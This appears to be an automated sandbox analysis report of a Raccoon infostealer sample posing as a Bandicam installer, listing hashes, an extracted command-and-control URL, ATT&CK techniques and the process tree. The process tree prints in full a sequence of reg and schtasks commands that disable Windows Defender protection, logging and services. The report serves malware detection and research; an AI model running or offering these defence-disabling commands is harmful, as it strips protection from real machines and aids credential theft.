raccoon | 9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9

Analysis

max time kernel
127s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
28-03-2022 15:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.exe
Size

27.1MB
MD5

ce84ce6fc120574a626dc6609b9ffba7
SHA1

24a7d8e1e0e23e40dbec6e4c648a6624cdcfbade
SHA256

9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9
SHA512

0fe4881e238d55863c48118ce30275f8ca302f6355a77869fa70b77ce4724db9145d7933be5918d32e1423344bc9a0b2ecd5a1f635fee1f11d37dce6407cc7a9

Score

10^/10

raccoon 5eaa41b3101d5537f786a35da1878f0d1d760e53 evasion stealer themida trojan

Malware Config

Extracted

Family

raccoon

Version

1.7.1-hotfix

Botnet

5eaa41b3101d5537f786a35da1878f0d1d760e53

Attributes

url4cnc
https://telete.in/jbitchsucks

rc4.plain

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" reg.exe
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Raccoon Stealer Payload 3 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2464-243-0x0000000000400000-0x0000000000493000-memory.dmp	family_raccoon
behavioral2/memory/2464-245-0x0000000000400000-0x0000000000493000-memory.dmp	family_raccoon
behavioral2/memory/2464-246-0x0000000000400000-0x0000000000493000-memory.dmp	family_raccoon

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Executes dropped EXE 15 IoCs

Processes:

9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmpBandicam.4.5.8.1673.exeBandicam.4.5.8.1673.tmp7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.execnhost.execnhost.exe

pid	process
1032	9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp
3108	Bandicam.4.5.8.1673.exe
5032	Bandicam.4.5.8.1673.tmp
4744	7z.exe
4544	7z.exe
1412	7z.exe
1484	7z.exe
1856	7z.exe
4044	7z.exe
2180	7z.exe
2876	7z.exe
3272	7z.exe
1824	7z.exe
4092	cnhost.exe
2464	cnhost.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cnhost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	cnhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	cnhost.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmpWScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	WScript.exe

Loads dropped DLL 15 IoCs

Processes:

9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmpBandicam.4.5.8.1673.tmp7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe

pid	process
1032	9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp
5032	Bandicam.4.5.8.1673.tmp
4744	7z.exe
5032	Bandicam.4.5.8.1673.tmp
5032	Bandicam.4.5.8.1673.tmp
5032	Bandicam.4.5.8.1673.tmp
4544	7z.exe
1412	7z.exe
1484	7z.exe
1856	7z.exe
4044	7z.exe
2180	7z.exe
2876	7z.exe
3272	7z.exe
1824	7z.exe

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\ProgramData\15LRCaG\extracted\cnhost.exe	themida
C:\ProgramData\15LRCaG\cnhost.exe	themida
behavioral2/memory/4092-224-0x0000000000AE0000-0x0000000000E32000-memory.dmp	themida
C:\ProgramData\15LRCaG\cnhost.exe	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

cnhost.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA cnhost.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

cnhost.exe

description pid process target process

PID 4092 set thread context of 2464 4092 cnhost.exe cnhost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	cnhost.exe

description	pid	process	target process
PID 4092 set thread context of 2464	4092	cnhost.exe	cnhost.exe

Drops file in Program Files directory 2 IoCs

Processes:

9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp

description	ioc	process
File opened for modification	C:\Program Files (x86)\Bandicam.4.5.8.1673.exe	9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp
File created	C:\Program Files (x86)\is-506T9.tmp	9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2724 2464 WerFault.exe cnhost.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

3552 timeout.exe

pid	pid_target	process	target process
2724	2464	WerFault.exe	cnhost.exe

pid	process
3552	timeout.exe

Modifies registry class 1 IoCs

Processes:

9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings	9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmpBandicam.4.5.8.1673.tmpcnhost.exe

pid	process
1032	9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp
1032	9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp
5032	Bandicam.4.5.8.1673.tmp
5032	Bandicam.4.5.8.1673.tmp
4092	cnhost.exe

Suspicious use of AdjustPrivilegeToken 41 IoCs

Processes:

7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.execnhost.exe

description	pid	process
Token: SeRestorePrivilege	4744	7z.exe
Token: 35	4744	7z.exe
Token: SeSecurityPrivilege	4744	7z.exe
Token: SeSecurityPrivilege	4744	7z.exe
Token: SeRestorePrivilege	4544	7z.exe
Token: 35	4544	7z.exe
Token: SeSecurityPrivilege	4544	7z.exe
Token: SeSecurityPrivilege	4544	7z.exe
Token: SeRestorePrivilege	1412	7z.exe
Token: 35	1412	7z.exe
Token: SeSecurityPrivilege	1412	7z.exe
Token: SeSecurityPrivilege	1412	7z.exe
Token: SeRestorePrivilege	1484	7z.exe
Token: 35	1484	7z.exe
Token: SeSecurityPrivilege	1484	7z.exe
Token: SeSecurityPrivilege	1484	7z.exe
Token: SeRestorePrivilege	1856	7z.exe
Token: 35	1856	7z.exe
Token: SeSecurityPrivilege	1856	7z.exe
Token: SeSecurityPrivilege	1856	7z.exe
Token: SeRestorePrivilege	4044	7z.exe
Token: 35	4044	7z.exe
Token: SeSecurityPrivilege	4044	7z.exe
Token: SeSecurityPrivilege	4044	7z.exe
Token: SeRestorePrivilege	2180	7z.exe
Token: 35	2180	7z.exe
Token: SeSecurityPrivilege	2180	7z.exe
Token: SeSecurityPrivilege	2180	7z.exe
Token: SeRestorePrivilege	2876	7z.exe
Token: 35	2876	7z.exe
Token: SeSecurityPrivilege	2876	7z.exe
Token: SeSecurityPrivilege	2876	7z.exe
Token: SeRestorePrivilege	3272	7z.exe
Token: 35	3272	7z.exe
Token: SeSecurityPrivilege	3272	7z.exe
Token: SeSecurityPrivilege	3272	7z.exe
Token: SeRestorePrivilege	1824	7z.exe
Token: 35	1824	7z.exe
Token: SeSecurityPrivilege	1824	7z.exe
Token: SeSecurityPrivilege	1824	7z.exe
Token: SeDebugPrivilege	4092	cnhost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp

pid process

1032 9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.exe9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmpWScript.exeBandicam.4.5.8.1673.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1652 wrote to memory of 1032	1652	9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.exe	9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp
PID 1652 wrote to memory of 1032	1652	9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.exe	9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp
PID 1652 wrote to memory of 1032	1652	9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.exe	9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp
PID 1032 wrote to memory of 2548	1032	9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp	WScript.exe
PID 1032 wrote to memory of 2548	1032	9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp	WScript.exe
PID 1032 wrote to memory of 2548	1032	9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp	WScript.exe
PID 1032 wrote to memory of 3108	1032	9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp	Bandicam.4.5.8.1673.exe
PID 1032 wrote to memory of 3108	1032	9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp	Bandicam.4.5.8.1673.exe
PID 1032 wrote to memory of 3108	1032	9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp	Bandicam.4.5.8.1673.exe
PID 2548 wrote to memory of 3328	2548	WScript.exe	cmd.exe
PID 2548 wrote to memory of 3328	2548	WScript.exe	cmd.exe
PID 2548 wrote to memory of 3328	2548	WScript.exe	cmd.exe
PID 3108 wrote to memory of 5032	3108	Bandicam.4.5.8.1673.exe	Bandicam.4.5.8.1673.tmp
PID 3108 wrote to memory of 5032	3108	Bandicam.4.5.8.1673.exe	Bandicam.4.5.8.1673.tmp
PID 3108 wrote to memory of 5032	3108	Bandicam.4.5.8.1673.exe	Bandicam.4.5.8.1673.tmp
PID 2548 wrote to memory of 1996	2548	WScript.exe	cmd.exe
PID 2548 wrote to memory of 1996	2548	WScript.exe	cmd.exe
PID 2548 wrote to memory of 1996	2548	WScript.exe	cmd.exe
PID 3328 wrote to memory of 2724	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 2724	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 2724	3328	cmd.exe	reg.exe
PID 2548 wrote to memory of 544	2548	WScript.exe	cmd.exe
PID 2548 wrote to memory of 544	2548	WScript.exe	cmd.exe
PID 2548 wrote to memory of 544	2548	WScript.exe	cmd.exe
PID 544 wrote to memory of 3552	544	cmd.exe	timeout.exe
PID 544 wrote to memory of 3552	544	cmd.exe	timeout.exe
PID 544 wrote to memory of 3552	544	cmd.exe	timeout.exe
PID 3328 wrote to memory of 4696	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 4696	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 4696	3328	cmd.exe	reg.exe
PID 1996 wrote to memory of 4536	1996	cmd.exe	mode.com
PID 1996 wrote to memory of 4536	1996	cmd.exe	mode.com
PID 1996 wrote to memory of 4536	1996	cmd.exe	mode.com
PID 3328 wrote to memory of 2696	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 2696	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 2696	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 4548	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 4548	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 4548	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 2012	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 2012	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 2012	3328	cmd.exe	reg.exe
PID 1996 wrote to memory of 4744	1996	cmd.exe	7z.exe
PID 1996 wrote to memory of 4744	1996	cmd.exe	7z.exe
PID 3328 wrote to memory of 4776	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 4776	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 4776	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 1764	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 1764	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 1764	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 4948	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 4948	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 4948	3328	cmd.exe	reg.exe
PID 1996 wrote to memory of 4544	1996	cmd.exe	7z.exe
PID 1996 wrote to memory of 4544	1996	cmd.exe	7z.exe
PID 3328 wrote to memory of 1108	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 1108	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 1108	3328	cmd.exe	reg.exe
PID 1996 wrote to memory of 1412	1996	cmd.exe	7z.exe
PID 1996 wrote to memory of 1412	1996	cmd.exe	7z.exe
PID 1996 wrote to memory of 1484	1996	cmd.exe	7z.exe
PID 1996 wrote to memory of 1484	1996	cmd.exe	7z.exe
PID 3328 wrote to memory of 2276	3328	cmd.exe	reg.exe
PID 3328 wrote to memory of 2276	3328	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.exe
"C:\Users\Admin\AppData\Local\Temp\9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1652

C:\Users\Admin\AppData\Local\Temp\is-MURN5.tmp\9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp
"C:\Users\Admin\AppData\Local\Temp\is-MURN5.tmp\9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.tmp" /SL5="$3011C,27756913,760832,C:\Users\Admin\AppData\Local\Temp\9c127b5d28ace094898a3682577fb269b1ae578727e79688c8b763953f1212a9.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1032

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\15LRCaG\MMF.vbs"
3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2548

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\15LRCaG\DisableOAVProtection.bat" "
4⤵
- Suspicious use of WriteProcessMemory
PID:3328

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
5⤵
PID:2724

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
5⤵
PID:4696

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
5⤵
PID:2696

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
5⤵
PID:4548

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
5⤵
PID:2012

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
5⤵
PID:4776

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
5⤵
PID:1764

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
5⤵
PID:4948

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
5⤵
PID:1108

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
5⤵
PID:2276

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
5⤵
PID:5044

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
5⤵
PID:4184

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
5⤵
PID:3500

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
5⤵
PID:4648

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
5⤵
PID:3888

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
5⤵
PID:3852

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
5⤵
PID:1508

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
5⤵
PID:4596

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
5⤵
PID:4308

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
5⤵
PID:4428

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
5⤵
PID:4392

C:\Windows\SysWOW64\reg.exe
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
5⤵
PID:2004

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
5⤵
PID:4676

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
5⤵
PID:4716

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
5⤵
PID:3184

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
5⤵
PID:3472

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
5⤵
PID:4892

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
5⤵
PID:1748

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
5⤵
PID:2996

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
5⤵
PID:3256

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
5⤵
- Modifies security service
PID:1128

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
5⤵
PID:1740

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\15LRCaG\main.bat" "
4⤵
- Suspicious use of WriteProcessMemory
PID:1996

C:\Windows\SysWOW64\mode.com
mode 65,10
5⤵
PID:4536

C:\ProgramData\15LRCaG\7z.exe
7z.exe e file.zip -p___________32270pwd14878pwd10835___________ -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:4744

C:\ProgramData\15LRCaG\7z.exe
7z.exe e extracted/file_9.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:4544

C:\ProgramData\15LRCaG\7z.exe
7z.exe e extracted/file_8.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1412

C:\ProgramData\15LRCaG\7z.exe
7z.exe e extracted/file_7.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1484

C:\ProgramData\15LRCaG\7z.exe
7z.exe e extracted/file_6.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1856

C:\ProgramData\15LRCaG\7z.exe
7z.exe e extracted/file_5.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:4044

C:\ProgramData\15LRCaG\7z.exe
7z.exe e extracted/file_4.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2180

C:\ProgramData\15LRCaG\7z.exe
7z.exe e extracted/file_3.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2876

C:\ProgramData\15LRCaG\7z.exe
7z.exe e extracted/file_2.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:3272

C:\ProgramData\15LRCaG\7z.exe
7z.exe e extracted/file_1.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1824

C:\ProgramData\15LRCaG\cnhost.exe
"cnhost.exe"
5⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4092

C:\ProgramData\15LRCaG\cnhost.exe
"C:\ProgramData\15LRCaG\cnhost.exe"
6⤵
- Executes dropped EXE
PID:2464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2464 -s 488
7⤵
- Program crash
PID:2724

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\15LRCaG\DiskRemoval.bat" "
4⤵
- Suspicious use of WriteProcessMemory
PID:544

C:\Windows\SysWOW64\timeout.exe
timeout /T 60 /NOBREAK
5⤵
- Delays execution with timeout.exe
PID:3552

C:\Program Files (x86)\Bandicam.4.5.8.1673.exe
"C:\Program Files (x86)\Bandicam.4.5.8.1673.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3108

C:\Users\Admin\AppData\Local\Temp\is-EJE0C.tmp\Bandicam.4.5.8.1673.tmp
"C:\Users\Admin\AppData\Local\Temp\is-EJE0C.tmp\Bandicam.4.5.8.1673.tmp" /SL5="$3014E,22606873,93696,C:\Program Files (x86)\Bandicam.4.5.8.1673.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:5032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 2464 -ip 2464
1⤵
PID:3744

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\Bandicam.4.5.8.1673.exe
Filesize
21.9MB

MD5
a9b4137db87481afbf5f449a9c174e6b

SHA1
7f846358509e7c273e194b4aa2459031f2771a0a

SHA256
d5edc4a6ae9bc84a28b9600f4280f86ce7e5931d276bf3f4b79c65433c62ffaf

SHA512
017c2c452b6e5be6597e51cee5f85487a04c0189fdee7c62a218052328b3e5c0af51e6349de58152706aea4a6b4d4c60a4f02881545da9a4a47544ada03dc179

Download Submit
C:\Program Files (x86)\Bandicam.4.5.8.1673.exe
Filesize
21.9MB

MD5
a9b4137db87481afbf5f449a9c174e6b

SHA1
7f846358509e7c273e194b4aa2459031f2771a0a

SHA256
d5edc4a6ae9bc84a28b9600f4280f86ce7e5931d276bf3f4b79c65433c62ffaf

SHA512
017c2c452b6e5be6597e51cee5f85487a04c0189fdee7c62a218052328b3e5c0af51e6349de58152706aea4a6b4d4c60a4f02881545da9a4a47544ada03dc179

Download Submit
C:\ProgramData\15LRCaG\7z.dll
Filesize
1.6MB

MD5
72491c7b87a7c2dd350b727444f13bb4

SHA1
1e9338d56db7ded386878eab7bb44b8934ab1bc7

SHA256
34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

SHA512
583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

Download Submit
C:\ProgramData\15LRCaG\7z.dll
Filesize
1.6MB

MD5
72491c7b87a7c2dd350b727444f13bb4

SHA1
1e9338d56db7ded386878eab7bb44b8934ab1bc7

SHA256
34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

SHA512
583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

Download Submit
C:\ProgramData\15LRCaG\7z.dll
Filesize
1.6MB

MD5
72491c7b87a7c2dd350b727444f13bb4

SHA1
1e9338d56db7ded386878eab7bb44b8934ab1bc7

SHA256
34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

SHA512
583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

Download Submit
C:\ProgramData\15LRCaG\7z.dll
Filesize
1.6MB

MD5
72491c7b87a7c2dd350b727444f13bb4

SHA1
1e9338d56db7ded386878eab7bb44b8934ab1bc7

SHA256
34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

SHA512
583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

Download Submit
C:\ProgramData\15LRCaG\7z.dll
Filesize
1.6MB

MD5
72491c7b87a7c2dd350b727444f13bb4

SHA1
1e9338d56db7ded386878eab7bb44b8934ab1bc7

SHA256
34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

SHA512
583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

Download Submit
C:\ProgramData\15LRCaG\7z.dll
Filesize
1.6MB

MD5
72491c7b87a7c2dd350b727444f13bb4

SHA1
1e9338d56db7ded386878eab7bb44b8934ab1bc7

SHA256
